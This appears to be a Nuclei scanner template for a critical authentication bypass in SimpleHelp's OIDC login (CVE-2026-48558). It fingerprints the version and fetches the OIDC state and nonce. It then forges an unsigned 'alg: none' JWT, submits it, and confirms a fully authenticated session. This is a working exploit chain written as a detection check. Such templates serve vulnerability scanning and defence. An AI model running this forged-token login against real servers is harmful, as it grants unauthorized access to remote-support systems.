id: CVE-2026-48558 info: name: "Simplehelp - Authentication Bypass" author: vedas-arpsyndicate severity: critical description: | SimpleHelp versions 5.5.15 and prior and 6.0 pre-release versions contain an authentication bypass vulnerability in the OIDC authentication flow. When OIDC authentication is configured, identity tokens submitted during login are accepted without verifying their cryptographic signature. reference: - https://www.exploit.observer/?keyword=CVE-2026-48558&match=exact - https://subdomain.center/?engine=ammonites&keyword=simplehelp&match=exact classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10.0 cve-id: CVE-2026-48558 cwe-id: CWE-347 metadata: verified: false tags: cve,cve2026,simplehelp,auth-bypass,oidc,jwt,kev,vkev,intrusive,vuln flow: | (function () { if (!http(1)) { return; } var minor = parseInt(template["sh_minor"] || "99"); if (isNaN(minor) || minor > 15) { return; } http(2); var providers_raw = template["providers_raw"]; if (!providers_raw) { return; } var providers; try { providers = JSON.parse(providers_raw); } catch (e) { return; } if (!providers || !providers[0]) { return; } var provider = null; for (var i = 0; i < providers.length; i++) { if (providers[i]["type"] === "oidc" || providers[i]["type"] === "azure") { provider = providers[i]; break; } } if (!provider) { return; } var root = (template["http_1_host"] || "").replace(/\/+$/, ""); if (!root) { return; } provider["callback"] = root + "/webapps/technician/"; set("oidc_payload_enc", encodeURIComponent(JSON.stringify(provider))); http(3); var auth_url_str = template["auth_url_raw"] || ""; var auth_url; try { auth_url = JSON.parse(auth_url_str); } catch (e) { auth_url = auth_url_str.replace(/^"/, "").replace(/"$/, "").trim(); } if (!auth_url) { return; } var state_m = auth_url.match(/[?&]state=([^&\s"'<>]+)/); if (!state_m) { return; } var nonce_m = auth_url.match(/[?&]nonce=([^&\s"'<>]+)/); var nonce = nonce_m ? nonce_m[1] : ""; function b64url(s) { var CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; var bytes = []; for (var c = 0; c < s.length; c++) { bytes.push(s.charCodeAt(c) & 0xFF); } var out = ""; var j = 0; while (j < bytes.length) { var b0 = bytes[j++]; var b1 = (j < bytes.length) ? bytes[j++] : -1; var b2 = (j < bytes.length) ? bytes[j++] : -1; out += CHARS[b0 >> 2]; out += CHARS[((b0 & 3) << 4) | (b1 < 0 ? 0 : (b1 >> 4))]; if (b1 >= 0) { out += CHARS[((b1 & 15) << 2) | (b2 < 0 ? 0 : (b2 >> 6))]; } if (b2 >= 0) { out += CHARS[b2 & 63]; } } return out; } var now = Math.floor(new Date().getTime() / 1000); var jwt_header = {"alg":"none","typ":"JWT"}; var jwt_payload = { "sub": "probe-cve-2026-48558", "preferred_username": "probe-check", "name": "ProbeCheck", "email": "probe-check@probetest.invalid", "iat": now, "exp": now + 3600 }; if (nonce) { jwt_payload["nonce"] = nonce; } var forged_jwt = b64url(JSON.stringify(jwt_header)) + "." + b64url(JSON.stringify(jwt_payload)) + ".x"; set("oidc_post_body", "state=" + encodeURIComponent(state_m[1]) + "&id_token=" + encodeURIComponent(forged_jwt)); http(4); http(5); })(); http: - method: GET path: - "{{BaseURL}}/allversions" cookie-reuse: true matchers: - type: regex part: body regex: - "Visual Version:\\s+5\\.5\\.(\\d+)" internal: true extractors: - type: regex name: sh_minor part: body group: 1 regex: - "Visual Version:\\s+5\\.5\\.(\\d+)" internal: true - method: GET path: - "{{BaseURL}}/auth/v1/account/login_options" cookie-reuse: true matchers: - type: status status: - 200 internal: true extractors: - type: dsl name: providers_raw dsl: - "body" internal: true - raw: - | GET /auth/v1/account/oidc_get?payload={{oidc_payload_enc}} HTTP/1.1 Host: {{Hostname}} Accept: application/json, */* cookie-reuse: true matchers: - type: status status: - 200 internal: true extractors: - type: dsl name: auth_url_raw dsl: - "body" internal: true - raw: - | POST /oidc HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded {{oidc_post_body}} cookie-reuse: true redirects: false matchers: - type: dsl dsl: - "status_code == 200 || status_code == 302" internal: true - method: GET path: - "{{BaseURL}}/auth/v1/account/status" cookie-reuse: true matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "FULLY_AUTHENTICATED")' - 'contains(body, "\"code\":1") || contains(body, "\"code\": 1")' condition: and extractors: - type: dsl dsl: - 'username + " | " + email' - type: json part: body json: - ".user.username" name: username internal: true - type: json part: body json: - ".user.emailAddress" name: email